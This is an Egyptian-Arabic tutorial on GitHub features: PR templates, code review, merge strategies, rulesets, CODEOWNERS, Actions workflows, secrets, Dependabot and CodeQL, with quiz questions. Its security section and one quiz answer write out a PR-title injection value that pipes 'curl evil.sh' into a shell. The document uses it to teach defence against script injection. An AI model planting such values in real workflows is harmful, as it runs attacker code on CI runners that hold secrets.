GitHub فوق Git: إيه اللي بيضيفه؟
Git (اتشرح بالتفصيل في درس Git) نظام موزع: كل واحد عنده نسخة كاملة من التاريخ. لكن الفريق محتاج مكان مركزي متفق عليه ومعاه أدوات تعاون: مين غيّر إيه، مين راجع، إيه اللي اتختبر، مين مسموحله ينشر. ده بالظبط اللي GitHub بيضيفه فوق الـ remote العادي.
الـ Repository و README و الـ Visibility
- Repository (repo): مشروع واحد = تاريخ Git كامل + الـ Issues والـ PRs والـ Actions والإعدادات الخاصة بيه. الـ visibility:
public(أي حد يشوفه) أوprivate(بصلاحيات) أوinternal(جوه مؤسسة Enterprise). - README.md: أول حاجة بتظهر لأي زائر. القارئ لازم يعرف منه: المشروع بيعمل إيه، إزاي يشغّله (prerequisites و build و test)، إزاي يساهم، والترخيص. README ضعيف معناه إن ناس كتير هتسيب الـ repo من أول دقيقة.
- ملفات «صحة الـ repo» المعروفة:
LICENSEوCONTRIBUTING.mdوCODE_OF_CONDUCT.mdوSECURITY.md(بيقول إزاي تبلّغ عن ثغرة). GitHub بيعرضها تلقائياً في واجهة الـ repo. - Default branch: الـ branch اللي بتتحدد منها الـ PRs افتراضياً وبتتحمّل منها الـ README. غالباً
main.
الـ GitHub CLI (gh) بيعمل كل اللي في الواجهة من الـ terminal. هنستخدمه في أمثلة الدرس لأن الأوامر أوضح من لقطات الشاشة وقابلة للتكرار.
الـ Issues والـ Templates والـ Projects
الـ Issue هو وحدة العمل أو المشكلة: bug أو feature أو سؤال. قيمته الحقيقية في إنه بيربط النقاش بالكود: أي PR بيقدر يشاور على issue، ولما الـ PR يتدمج الـ issue يتقفل تلقائياً.
- Labels (
bug,enhancement,good first issue) وAssignees وMilestones لتجميع الشغل في إصدار. - Keywords للإغلاق التلقائي: كتابة
Closes #42أوFixes #42في وصف الـ PR بتقفل issue رقم 42 لما الـ PR يتدمج في الـ default branch. - GitHub Projects: لوحة (Board) أو جدول (Table) أو Roadmap بتجمّع issues و PRs من أكتر من repo، وتقدر تضيف fields مخصصة (Status, Priority, Sprint) وأتمتة بسيطة (مثلاً الـ item يتحرك لـ Done لما يتقفل). هي أداة تنظيم خفيفة، مش بديل كامل لأدوات إدارة المشاريع الكبيرة.
Templates: عشان كل بلاغ يجي كامل
من غير template، نص البلاغات بيبقى «مش شغال». الـ Issue Forms (ملفات YAML) بتعمل نموذج بحقول إجبارية، والـ PR template (ملف Markdown) بيملّي وصف الـ PR تلقائياً.
name: Bug report
description: Report something that is not working
labels: ["bug", "triage"]
body:
- type: textarea
id: what-happened
attributes:
label: What happened?
description: Describe the bug and what you expected instead.
validations:
required: true
- type: textarea
id: repro
attributes:
label: Steps to reproduce
placeholder: |
1. Call POST /orders with an empty body
2. Observe the response
validations:
required: true
- type: input
id: version
attributes:
label: App version
validations:
required: false## What and why
<!-- One paragraph: the problem and the approach -->
Closes #
## How to test
- [ ] `dotnet test` passes locally
- [ ] Manual check: ...
## Checklist
- [ ] Tests added or updated
- [ ] No secrets or credentials in the diff
- [ ] Docs / OpenAPI updated if the API changedالشرح
- الملفات لازم تكون في مجلد
.github/في الـ default branch عشان GitHub يلقطها. - في الـ Issue Form:
bodyقايمة حقول، كل حقل لهtype(textarea,input,dropdown,checkboxes) وattributesللعنوان والوصف، وvalidations.required: trueبيمنع الإرسال لو فاضي.labelsبتتحط تلقائياً على الـ issue. - سطر
Closes #في الـ PR template بيفكّر الكاتب يربط الـ issue، وبعدها الربط والإغلاق أوتوماتيك.
الـ Pull Request والـ Code Review
الـ Pull Request (PR) طلب بدمج branch في branch تانية، لكنه عملياً مساحة نقاش ومراجعة وفحص آلي حوالين التغيير. مفهوم الـ branch نفسه والـ PR workflow العام اتشرحوا في درس Git؛ هنا التركيز على اللي GitHub بيضيفه.
الأوامر العملية بـ gh
# 1) Create a repository from the current folder and push it
gh repo create orders-api --private --source=. --remote=origin --push
# 2) Work on a branch, then open a PR (title/body taken from the commits)
git switch -c feature/order-validation
git commit -am "feat(orders): reject empty order lines"
git push -u origin feature/order-validation
gh pr create --base main --fill
# 3) See the checks and the review state
gh pr checks
gh pr view --comments
# 4) As a reviewer: check the PR out locally, test it, then approve
gh pr checkout 128
gh pr review 128 --approve --body "Looks good. One non-blocking naming nit inline."
# 5) Merge with the allowed strategy and clean up the branch
gh pr merge 128 --squash --delete-branchالشرح
gh pr create --fillبيعبّي العنوان والوصف من رسائل الـ commits؛ والـ PR template بيتحمّل تلقائياً لو موجود.gh pr checksبيعرض نتيجة كل check (الأخضر والأحمر) من غير ما تفتح المتصفح.gh pr checkout 128بينزّل الـ branch الخاصة بالـ PR ويحوّلك عليها، فتقدر تشغّل الكود وتجرّبه فعلياً قبل الموافقة.gh pr merge --squash --delete-branchبيدمج بإستراتيجية Squash (هنشرحها بعد شوية) ويمسح الـ branch.
الـ Code Review: مراجعة الكود كمهارة
كمُراجِع
- اقرأ الوصف الأول: ليه التغيير ده؟ وبعدين الـ diff.
- ركّز على الصحة والأمان والتصميم والاختبارات قبل الأسلوب (الأسلوب الأوتوماتيكي يطلع من linter).
- فرّق بين blocking وملاحظة اختيارية (
nit:). - اسأل بدل ما تأمر: «إيه رأيك لو...؟».
- استخدم الأنواع: Comment وApprove وRequest changes.
كصاحب الـ PR
- خلّي الـ PR صغير (يفضّل أقل من حوالي 400 سطر) ومركّز على غرض واحد.
- اكتب «ليه» مش «إيه» بس.
- راجع الـ diff بنفسك قبل ما تطلب مراجعة.
- ردّ على كل تعليق: عدّل، أو اشرح ليه لأ. وبعد التعديل اعمل Resolve conversation.
- استخدم Draft PR لو لسه بتجمع الشغل وعايز feedback بدري.
Merge Strategies وحماية الـ Branches و CODEOWNERS
3 طرق لدمج الـ PR
GitHub بيوفر تلات إستراتيجيات للدمج. الاختيار بيحدد شكل تاريخ الـ main للأبد، ولازم الفريق يتفق على واحدة (أو أكتر، ويقفل الباقي من إعدادات الـ repo).
عايز تاريخ main نضيف ومريح في الـ revert ⇒ Squash. عايز تحافظ على commits مرتبة ومقصودة ⇒ Rebase. عايز الحقيقة الكاملة للتفرّع ⇒ Merge commit.
| الطريقة | التاريخ | الأنسب لـ | الحذر |
|---|---|---|---|
| Merge commit | متفرّع، فيه merge commit | branches طويلة العمر، release branches | تاريخ مزدحم؛ git log --first-parent بيساعد |
| Squash and merge | خطي، commit واحد لكل PR | الفرق اللي كل PR فيها وحدة عمل واحدة | تفقد granularity؛ لازم عنوان الـ PR يبقى رسالة commit جيدة |
| Rebase and merge | خطي، كل commit محفوظ | commits نضيفة ومكتوبة بعناية | الـ hashes بتتغيّر، فمش مناسب لو الـ commits فيها تجارب/«fix typo» |
حماية الـ Branches: Rulesets و Branch Protection
من غير حماية، أي حد عنده write access يقدر يعمل push مباشر على main أو يعمل force push ويمسح تاريخ. الحماية بتحوّل «اتفاق الفريق» لقاعدة بتفرضها المنصة. فيه نظامين:
- Branch protection rules (الكلاسيكي): قاعدة واحدة لكل pattern.
- Rulesets: الأحدث والأكثر مرونة. ممكن أكتر من ruleset تنطبق على نفس الـ branch، وتقدر توقف التنفيذ من غير حذف، وتستهدف branches و tags بـ patterns. لو القاعدتين (rulesets و classic) اتداخلوا، الأكثر تشدداً هو اللي بيتطبق (حسب توثيق GitHub). الأفضل تبدأ بـ Rulesets لأي repo جديد.
| القاعدة | بتحمي من إيه |
|---|---|
| Require a pull request before merging (+ عدد الموافقات) | push مباشر على main بدون مراجعة |
| Require status checks to pass | دمج كود بيكسر الـ build أو الاختبارات |
| Dismiss stale approvals on new commits | موافقة على كود اتغيّر بعدها |
| Require review from Code Owners | تعديل منطقة حساسة من غير موافقة صاحبها |
| Block force pushes / restrict deletions | إعادة كتابة تاريخ main أو مسح الـ branch |
| Require signed commits / linear history | commits مجهولة المصدر، أو merge commits لو الفريق اختار تاريخ خطي |
مجرد إن الـ CI شغّال مش كفاية: لو مش محدد كـ required check في الـ ruleset، الـ PR الأحمر ممكن يتدمج. اسم الـ check لازم يطابق اسم الـ job في الـ workflow.
CODEOWNERS
ملف بيقول مين مسؤول عن أنهي مسارات. لما PR يلمس ملفات مملوكة، GitHub بيطلب مراجعة أصحابها تلقائياً، ولو فعّلت «Require review from Code Owners» بتبقى الموافقة إجبارية. الملف ممكن يكون في .github/ أو root أو docs/، والـ owners لازم يكون عندهم write access.
# Default owner for everything (matches first, can be overridden below)
* @acme/backend-team
# Specific areas: the LAST matching pattern wins
/src/Orders/ @acme/orders-team
/src/Payments/ @acme/payments-team @alice
*.sql @acme/dba-team
/.github/workflows/ @acme/platform-team
/docs/ @acme/tech-writersالشرح
- الصيغة:
pattern owner1 owner2. الـ owner ممكن يكون مستخدم (@alice) أو فريق (@org/team). - الترتيب مهم: آخر pattern مطابق هو اللي بيكسب. عشان كده السطر العام
*فوق والأخص تحته. - تغيير في
/src/Payments/Refund.csهيطلب مراجعة@acme/payments-teamو@aliceفقط (مش الـ backend-team). - حماية
/.github/workflows/مهمة: مين يعدّل الـ pipeline بيتحكم في اللي بيشتغل بـ secrets (هنشوف ده في قسم الأمان).
الـ Releases والـ Tags
الـ tag اسم ثابت لـ commit معيّن (شرحنا أنواعه في درس Git). الـ GitHub Release هو كائن فوق الـ tag: عنوان، ملاحظات إصدار (release notes)، ملفات مرفقة (assets) مثل الـ zip أو الـ installer، وعلامات pre-release و draft.
- Semantic Versioning:
MAJOR.MINOR.PATCH.MAJORلتغيير بيكسر التوافق،MINORلإضافة متوافقة،PATCHلإصلاح. مثال:v2.4.1. - Release notes ممكن تتولّد تلقائياً من الـ PRs المدمجة (
--generate-notes) وتتصنّف بالـ labels. - الـ release مش بيبني حاجة بنفسه؛ عادةً الـ workflow بيتشغّل على
pushلـ tag بيبدأ بـvوبيبني وينشر الـ assets (شوف قسم Actions).
# Annotated tag on the current commit, pushed to GitHub
git tag -a v1.4.0 -m "Release 1.4.0"
git push origin v1.4.0
# Create the release with auto-generated notes and an attached asset
gh release create v1.4.0 ./artifacts/orders-api-1.4.0.zip \
--title "v1.4.0" \
--generate-notes
# A release candidate stays hidden from the "latest release" badge
gh release create v1.5.0-rc.1 --prerelease --generate-notesGitHub Actions وأساسيات الـ CI/CD
Continuous Integration (CI): كل تغيير يتبني ويتختبر آلياً أول ما يتدفع، عشان تكتشف الكسر في دقائق مش في أسابيع. Continuous Delivery/Deployment (CD): نفس الأتمتة بتكمل لحد تجهيز أو نشر الإصدار. الـ GitHub Actions هو محرك الأتمتة المدمج: بتكتب ملف YAML في .github/workflows/ وهو بيشتغل على الأحداث (events). (CI/CD كممارسة أوسع وأدواتها في قسم DevOps.)
مصطلحات الـ workflow
- Event/Trigger:
push,pull_request,schedule(cron),workflow_dispatch(يدوي),release,workflow_call(للـ reusable). - Job: مجموعة steps بتشتغل على runner واحد. الـ jobs متوازية افتراضياً، و
needs:بتفرض ترتيب. - Runner: الجهاز اللي بينفّذ (
ubuntu-latestمستضاف من GitHub، أو self-hosted). كل job بيبدأ على بيئة نضيفة، فمفيش حالة بتنتقل بين الـ jobs إلا عن طريق artifacts أو cache. - Step: إما
run:(أمر shell) أوuses:(action جاهز). - Action: وحدة قابلة لإعادة الاستخدام (
actions/checkout) بتتحدد بـowner/repo@ref.
name: CI
on:
push:
branches: [main]
pull_request:
branches: [main]
# Cancel an older run of the same branch when a newer commit arrives
concurrency:
group: ci-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
# Least privilege for GITHUB_TOKEN: this workflow only reads code
permissions:
contents: read
jobs:
build-test:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- name: Checkout
uses: actions/checkout@v7
- name: Setup .NET
uses: actions/setup-dotnet@v6
with:
dotnet-version: '10.0.x'
- name: Restore
run: dotnet restore
- name: Build
run: dotnet build --configuration Release --no-restore
- name: Test
run: dotnet test --configuration Release --no-build --verbosity normalالشرح
- on: الـ workflow بيشتغل لما حد يعمل push على
main، أو لما PR يتفتح/يتحدّث ناحيةmain. ده اللي بيعمل «check» على كل PR. - concurrency: لو دفعت 3 commits ورا بعض، الـ runs القديمة بتتلغي وبيفضل الأحدث بس؛ توفير في الدقايق (والفلوس).
- permissions: بتقيّد الـ
GITHUB_TOKEN(token مؤقت بتوفره GitHub لكل run) لقراءة الكود فقط. actions/checkout: لأن الـ runner بيبدأ فاضي، لازم تنزّل الكود الأول. من غيرهdotnet restoreهيفشل لعدم وجود مشروع.setup-dotnetبيثبّت الـ SDK.'10.0.x'يعني «آخر patch من 10.0».- الـ
--no-restoreو--no-buildبيمنعوا تكرار نفس الشغل في كل خطوة.
تتبّع تنفيذ PR: المطور يفتح PR ⇐ GitHub يلاقي on.pull_request مطابق ⇐ يحجز runner ⇐ ينفذ الـ steps بالترتيب ⇐ أول step يفشل بيوقف الـ job ويظهر ❌ في الـ PR ⇐ لو الـ job مضاف كـ required check، الدمج يتقفل لحد ما يتصلح ويعدّي.
CI سريع (أقل من 10 دقايق) وموثوق (مفيش tests بتفشل عشوائياً) هو اللي بيخلي الفريق يدمج بثقة. أي check بطيء أو flaky الناس هتتعلم تتجاهله، وساعتها هتخسر الفايدة كلها.
Secrets و Variables والـ Permissions
الـ workflow بينفّذ كود على سيرفر بيعدّي عليه credentials. لو اتساب سهو، الـ pipeline بيتحول لأسهل طريق للاختراق.
Secrets مقابل Variables
Secrets
- قيم حساسة: API keys، connection strings، tokens.
- بتتشفّر وبتتخبّى (masked) من الـ logs، وبتتقرا كـ
${{ secrets.NAME }}. - مستويات: repository وenvironment وorganization.
Variables
- إعدادات مش حساسة: اسم region، رقم إصدار، feature flag.
- مرئية وقابلة للقراءة والتعديل، وبتتقرا كـ
${{ vars.NAME }}. - نفس المستويات التلاتة.
Environments (مثل staging و production) بتضيف قواعد: موافقة يدوية من reviewers محددين قبل ما الـ job يبدأ، وقيد على الـ branches المسموح لها تنشر، و secrets خاصة بالبيئة فقط. ده الأساس الآمن للـ CD.
GITHUB_TOKEN والـ Permissions
كل run بياخد GITHUB_TOKEN مؤقت (بينتهي مع الـ job). صلاحياته بتتحدد بالـ permissions:: لو ما حددتش، بتاخد الإعداد الافتراضي للـ repo أو المؤسسة. القاعدة الذهبية: ابدأ بـ contents: read وزوّد لكل job بس اللي محتاجه. وعلى مستوى الـ repository فيه صلاحيات المستخدمين: Read، Triage، Write، Maintain، Admin، وبتعطي كل مستوى أقل صلاحية تكفي.
name: Deploy
on:
push:
tags: ['v*']
permissions:
contents: read # default for every job in this workflow
jobs:
deploy:
runs-on: ubuntu-latest
environment: production # waits for required reviewers
permissions:
contents: write # this job only: attach assets to the release
id-token: write # this job only: OIDC login to a cloud provider
steps:
- uses: actions/checkout@v7
- name: "Print release name (SAFE: untrusted value goes through env)"
env:
RELEASE_NAME: ${{ github.event.release.name }}
run: echo "Deploying $RELEASE_NAME"
- name: Call deployment API
env:
API_KEY: ${{ secrets.DEPLOY_API_KEY }} # environment secret
API_URL: ${{ vars.DEPLOY_API_URL }} # non-sensitive variable
run: 'curl --fail -H "Authorization: Bearer $API_KEY" "$API_URL/deploy"'الشرح
environment: productionبيوقف الـ job لحد ما الـ reviewers المحددين يوافقوا، وبيفتح الوصول لـ secrets البيئة دي بس بعد الموافقة.- الـ
permissionsعلى مستوى الـ job بتتغلّب على مستوى الـ workflow.id-token: writeبيسمح بـ OIDC: الـ job بياخد token قصير العمر يثبت هويته لمزوّد السحابة (Azure/AWS/GCP) بدل تخزين secret طويل العمر، وده أأمن. - الـ secrets بتتمرّر لـ
env:وبعدين بنستخدمها كمتغيرات shell ($API_KEY).
أخطاء أمنية شائعة في الـ workflows
# WRONG: the PR title is attacker-controlled and is pasted INTO the script text.
# A title like: x"; curl evil.sh | sh; echo " becomes executable shell.
- run: echo "PR title is ${{ github.event.pull_request.title }}"
# RIGHT: pass it as an environment variable; the shell treats it as plain data.
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title is $TITLE"- Script injection (فوق):
${{ }}بيتبدّل بالنص قبل ما الـ shell يشتغل. أي قيمة من خارجك (عنوان PR، اسم branch، body) متحطهاش جوهrun:مباشرة. - الـ fork PRs: الـ workflow اللي بيشتغل على
pull_requestمن fork مش بياخد secrets، ودي حماية مقصودة. لكنpull_request_targetبيشتغل في سياق الـ repo الأصلي ومعاه secrets، فلو عملت checkout لكود الـ PR وشغّلته فيه، كود غريب بيتنفّذ بصلاحياتك. متعملهاش. - Actions من طرف ثالث: بتتنفّذ بـ token و secrets الـ job. التوصية الرسمية: ثبّت كل action خارجي على full commit SHA (التاجات ممكن تتحرك أو تتمسح)، وخلّي Dependabot يحدّثها (شوف قسم الأمان).
- أي secret اتسرّب في commit أو log: اعتبره مخترق وغيّره (rotate) فوراً، حذف الـ commit مش كفاية.
Reusable Workflows والـ Caching
لما تبقى عندك 10 repos كل واحد فيه نفس الـ CI، نسخ ولصق الـ YAML معناه إن أي تحسين يتعمل 10 مرات. الحل: Reusable Workflow بيتعرّف مرة واحدة بـ on: workflow_call وبيتنادى من workflows تانية بـ uses: على مستوى الـ job.
name: Reusable .NET CI
on:
workflow_call:
inputs:
dotnet-version:
type: string
default: '10.0.x'
configuration:
type: string
default: Release
permissions:
contents: read
jobs:
build-test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- uses: actions/setup-dotnet@v6
with:
dotnet-version: ${{ inputs.dotnet-version }}
# Restore NuGet packages from cache when project files did not change
- uses: actions/cache@v6
with:
path: ~/.nuget/packages
key: ${{ runner.os }}-nuget-${{ hashFiles('**/*.csproj', '**/Directory.Packages.props') }}
restore-keys: |
${{ runner.os }}-nuget-
- run: dotnet restore
- run: dotnet build --configuration ${{ inputs.configuration }} --no-restore
- run: dotnet test --configuration ${{ inputs.configuration }} --no-buildname: CI
on: [pull_request]
jobs:
ci:
# Same repository: ./path. Another repository: owner/repo/.github/workflows/file.yml@ref
uses: ./.github/workflows/dotnet-ci.yml
with:
dotnet-version: '10.0.x'الشرح
workflow_callبيعرّف الـ workflow كـ «دالة»:inputsهي الـ parameters (بنوعstring/number/boolean)، وتقدر تعرّفsecretsكمان.- الـ caller بينادي بـ
uses:على الـ job نفسه (مش على step). لو الـ reusable في repo تاني استخدمowner/repo/.github/workflows/x.yml@ref، والأأمن إن الـ ref يكون SHA. وsecrets: inheritبتمرّر كل secrets الـ caller (لنفس المؤسسة). - الـ permissions في الـ reusable ممكن تتقلّص بس مش تتزوّد فوق اللي أعطاه الـ caller، وعمق التداخل أقصاه 10 مستويات.
- الـ cache:
keyمبني من hash ملفات المشروع؛ لو ما اتغيّرتش، بيتعمل cache hit وبيتوفر وقت التحميل. لو اتغيّرت،restore-keysبيرجّع أقرب cache قديم كنقطة بداية والـ restore بيكمّل الباقي، وبعدين الـ cache الجديد بيتحفظ آخر الـ job.
حسب التوثيق: الحد الافتراضي 10 GB لكل repo، والـ entries اللي مفيش وصول ليها أكتر من 7 أيام بتتمسح، وكل run بيقدر يستعيد caches من الـ branch بتاعه أو الـ default branch (والـ PR من الـ base branch). الـ cache تحسين سرعة مش مصدر حقيقة: الـ build لازم يشتغل صح حتى لو الـ cache فاضي.
الـ Forks والمساهمة في مشاريع الغير
الـ Fork هو نسخة من repo على حسابك، لأن مفيش عندك write access على الأصلي. بتشتغل في الـ fork وبتفتح PR من الـ fork للـ repo الأصلي (اسمه upstream). نفس الأسلوب بيستخدم في الـ open source، وفي المؤسسات اللي بتمنع الـ push المباشر على الـ repo الرئيسي.
# Fork on GitHub and clone your fork (origin = your fork)
gh repo fork acme/orders-api --clone
cd orders-api
# Register the original repository as 'upstream' (gh usually does this for you)
git remote add upstream https://github.com/acme/orders-api.git # skip if it exists
# Keep your fork's main aligned with upstream before starting work
git fetch upstream
git switch main
git merge --ff-only upstream/main
git push origin main
# Work on a topic branch, push it to YOUR fork, open a PR to upstream
git switch -c fix/rounding-bug
git commit -am "fix(orders): round totals half-even"
git push -u origin fix/rounding-bug
gh pr create --repo acme/orders-api --fillالشرح
- الـ remotes:
origin= الـ fork بتاعك (بتدفع فيه)، وupstream= الـ repo الأصلي (بتقرا منه بس). merge --ff-onlyبيضمن إن main عندك مجرد «لحقت» upstream بدون commits مدمجة غريبة؛ لو فشل يبقى فيه commits محلية على main غلط.- متشتغلش على
mainبتاع الـ fork: اعمل branch لكل مساهمة عشان تقدر تسحّب upstream بسهولة. - قبل ما تفتح PR: اقرأ
CONTRIBUTING.mdوشوف إن فيه issue متفق عليه، واتبع أسلوب commits المشروع.
أمان الـ Repository: Advisories و Dependabot و CodeQL
أغلب الثغرات الحقيقية جاية من dependencies قديمة وأخطاء في الكود وsecrets متسرّبة. GitHub بيدمج أدوات لكل واحدة منهم.
| الأداة | بتعمل إيه |
|---|---|
| Dependabot alerts | بتنبّهك إن dependency عندك فيها ثغرة معروفة (من GitHub Advisory Database) |
| Dependabot security updates | بتفتح PR تلقائي بترقية للنسخة المصلّحة |
| Dependabot version updates | PRs دورية بتحدّث الـ dependencies حتى لو مفيش ثغرة (بتتظبط بـ dependabot.yml) |
| Code scanning (CodeQL) | تحليل ثابت للكود بيدوّر على أنماط ثغرات (SQL injection، XSS...) وبيعرضها في الـ PR |
| Secret scanning + push protection | بتكتشف الـ tokens والمفاتيح المعروفة، والـ push protection بتمنع الـ push قبل ما يتسرّب |
| Security advisories | إدارة ثغرة في مشروعك: تصلحها بشكل خاص ثم تنشر advisory (وتطلب CVE) لمّا يبقى الإصلاح جاهز |
Security Advisories (repository): لو حد بلّغك بثغرة في مكتبتك، متفتحش public issue. استخدم draft advisory خاص: بتناقش فيه المشكلة مع المبلّغ، وبتعمل fix في fork/branch خاص، وبعد الإصلاح بتنشر الـ advisory فيوصل التنبيه لكل مستخدمي الحزمة. ملف SECURITY.md بيقول للناس إزاي يبلّغوا.
version: 2
updates:
- package-ecosystem: "nuget"
directory: "/"
schedule:
interval: "weekly"
groups:
nuget-minor-patch:
update-types: ["minor", "patch"]
patterns: ["*"]
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"name: CodeQL
on:
push:
branches: [main]
pull_request:
branches: [main]
schedule:
- cron: '0 3 * * 1' # weekly full scan, Monday 03:00 UTC
jobs:
analyze:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write # needed to upload results to the Security tab
actions: read
steps:
- uses: actions/checkout@v7
- uses: github/codeql-action/init@v4
with:
languages: csharp
build-mode: none # analyse source without building (supported for C#)
- uses: github/codeql-action/analyze@v4
with:
category: "/language:csharp"الشرح
- dependabot.yml:
package-ecosystemبيحدد مدير الحزم (nugetلمشاريع .NET) وgithub-actionsبيحدّث الـ actions نفسها (وده بيغطي مشكلة الـ pinning).groupsبيجمّع التحديثات الصغيرة في PR واحد بدل 15 PR. - codeql.yml: الـ
initبيجهّز المحلّل للغة المحددة، وanalyzeبيشغّل الاستعلامات ويرفع النتايج.security-events: writeهي الصلاحية الوحيدة الزايدة، وهي مطلوبة بالتحديد لرفع النتايج لتبويب Security. - الـ
cronبيعمل scan دوري حتى لو مفيش commits، لأن القواعد الجديدة بتتضاف مع الوقت. - الأفضل تعتمد على مزيج: Dependabot + CodeQL + secret scanning، وتخلّي نتايجهم checks إجبارية في الـ ruleset للثغرات العالية.
الأدوات الآلية بتفوّت ثغرات منطقية (مثل غياب فحص الصلاحيات). هي طبقة أولى جنب الـ code review والـ secure coding (راجع قسم الأمان لاحقاً)، مش بديل ليهم.
أخطاء شائعة وتشخيص
| الموقف | السبب | الحل |
|---|---|---|
| PR أحمر اتدمج برضه | الـ check مش معرّف كـ required في الـ ruleset، أو اسمه مش مطابق | أضف الـ job كـ required status check بنفس اسمه بالظبط، وفعّل «require branches up to date» لو لازم |
| الـ workflow مش بيشتغل أصلاً | الملف خارج .github/workflows/، أو on مش مطابق، أو YAML فيه مسافات غلط | اقرأ تبويب Actions (فيه رسالة خطأ للـ syntax) وتأكد من الـ branches filter |
Resource not accessible by integration | الـ GITHUB_TOKEN من غير الصلاحية المطلوبة | أضف permissions: المحددة للـ job اللي محتاجها فقط |
| الـ secret مش بيوصل للـ workflow | الـ run جاي من fork، أو الـ secret على environment والـ job مش معلن environment: | اتأكد من مستوى الـ secret ومن الـ trigger، وما تحلّش بـ pull_request_target بدون فهم المخاطر |
| الـ CI بقى بطيء جداً | مفيش cache، أو بتبني كل حاجة في job واحد | cache للـ packages، قسّم لـ jobs متوازية، وادّي concurrency لإلغاء القديم |
| الـ cache مش بيتستخدم | الـ key بيتغير كل مرة، أو الـ branch مش شايفة cache الـ base | اجعل الـ key من hash ملفات الـ dependencies فقط، وراجع قواعد الـ scope |
| commit فيه secret اتدفع | غياب push protection و .gitignore | غيّر الـ secret فوراً (rotate)، وبعدين نضّف التاريخ لو لازم، وفعّل secret scanning |
| تاريخ main فيه «fix typo» كتير | Rebase/Merge commit من غير تنظيف | خلّي الـ default Squash، أو اطلب rebase -i قبل الدمج |
Knowledge Check
أهم النقاط
- GitHub = remote لـ Git + طبقة تعاون (Issues, PRs) + أتمتة (Actions) + أمان + governance (rulesets, CODEOWNERS).
- الـ PR مساحة مراجعة وفحص آلي:
Closes #nبيربط ويقفل، والـ templates بتضمن بلاغات ووصف كامل. - إستراتيجية الدمج بتحدد شكل تاريخ main: Merge commit للحقيقة الكاملة، Squash لتاريخ نضيف، Rebase للحفاظ على commits خطية.
- الحماية بتتفرض بـ Rulesets: required PR + required status checks + block force push + Code Owners.
- الـ workflow = event ⇒ jobs ⇒ steps على runner نضيف. استخدم
permissionsبأقل صلاحية،concurrency، وneedsلترتيب الـ jobs. - الـ secrets للقيم الحساسة والـ variables للإعدادات. الـ environments بتضيف موافقات. الـ OIDC أأمن من secrets طويلة العمر.
- أخطاء الأمان الكلاسيكية: script injection،
pull_request_targetمع كود الـ PR، و actions غير مثبّتة. - Dependabot + CodeQL + secret scanning طبقة أولى؛ مش بديل للمراجعة.
أسئلة مفاهيمية
إيه الفرق بين Git و GitHub؟
Git نظام تحكم في الإصدارات موزع بيشتغل محلياً. GitHub خدمة بتستضيف repos بـ Git وبتضيف فوقها Issues و PRs و Actions وأدوات أمان وصلاحيات.
ليه Squash merge بيسهّل الـ revert؟
لأن الـ PR كله بيبقى commit واحد على main، فـ git revert <hash> بيتراجع عن الميزة كلها دفعة واحدة، بدل ما تحتاج تتراجع عن commits كتير أو merge commit بـ -m 1.
ليه workflow بيشتغل على pull_request من fork مش بياخد secrets؟
حماية: لو أي حد يفتح fork ويعدّل الـ workflow ويطبع الـ secrets، هيسرقها. لذلك الـ token بيبقى read-only ومن غير secrets. الـ pull_request_target بيشتغل بصلاحيات أعلى فلازم تتعامل معاه بحذر.
إيه فايدة الـ environment في GitHub Actions؟
بيربط الـ job ببيئة (مثل production) فيدّيك secrets مخصصة، وموافقة يدوية من reviewers، وتقييد الـ branches المسموح لها تنشر، وده بيفصل صلاحية البناء عن صلاحية النشر.
الـ cache في Actions ينفع يكون مصدر حقيقة للـ build؟
لا. هو تحسين أداء قابل للمسح (بعد 7 أيام من عدم الاستخدام أو لما يتخطى الحد). لازم الـ build يشتغل صح ببدونه.
قراءة كود
إيه المشكلة الأمنية في: run: echo "${{ github.event.issue.title }}" ؟
Script injection: القيمة بتتحط في نص السكربت قبل تنفيذ الـ shell، فعنوان مثل "; curl evil | sh; " هيتنفّذ. الحل: تمريرها كمتغيّر بيئة env: TITLE: ${{ ... }} واستخدام "$TITLE".
في CODEOWNERS: السطرين * @a ثم /src/Payments/ @b . مين بيراجع تغيير في /src/Payments/x.cs؟
@b بس، لأن آخر pattern مطابق هو الأقوى. السطر العام * بيتغلّب عليه الأخص تحته.
سيناريوهات وأسئلة إنترفيو
سيناريو: الـ CI بيعدّي على branch بس الـ main بتتكسر بعد الدمج. إيه أسباب محتملة وعلاج؟
الـ PR اتفحص على base قديمة وبعدها main اتغيّرت (semantic conflict). العلاج: تفعيل «Require branches to be up to date before merging» أو merge queue، فالـ checks بتشتغل على النتيجة الفعلية للدمج.
إزاي تأمّن pipeline نشر على production؟
environment مع required reviewers، permissions بأقل صلاحية على مستوى الـ job، OIDC بدل secrets طويلة، تثبيت الـ actions على SHA، حماية .github/workflows/ بـ CODEOWNERS، ومنع نشر إلا من main أو tags محددة.
Rulesets ولا Branch Protection الكلاسيكي؟
Rulesets في أي repo جديد: أكتر من ruleset على نفس الـ branch، تفعيل وإيقاف، واستهداف tags، وده أنضف للإدارة. الكلاسيكي لسه شغال، ولو الاتنين اتداخلوا الأكثر تشدداً هو اللي بيتطبق.
المراجع والقراءة الإضافية
الدرس بيشرح الفكرة نفسها؛ الروابط دي للتحقق والتعمق والرجوع لتفاصيل الـ API. (محتاجة إنترنت.)
التوثيق الرسمي — Official documentation
مصادر تعليمية ومتقدمة — Third-party & advanced reading
خريطة التغطية: 19 عنصر من الـ Roadmap ومكان شرحه في الدرس
خلصت الدرس وحليت الأسئلة؟ علّم عليه عشان يتحسب في تقدّمك.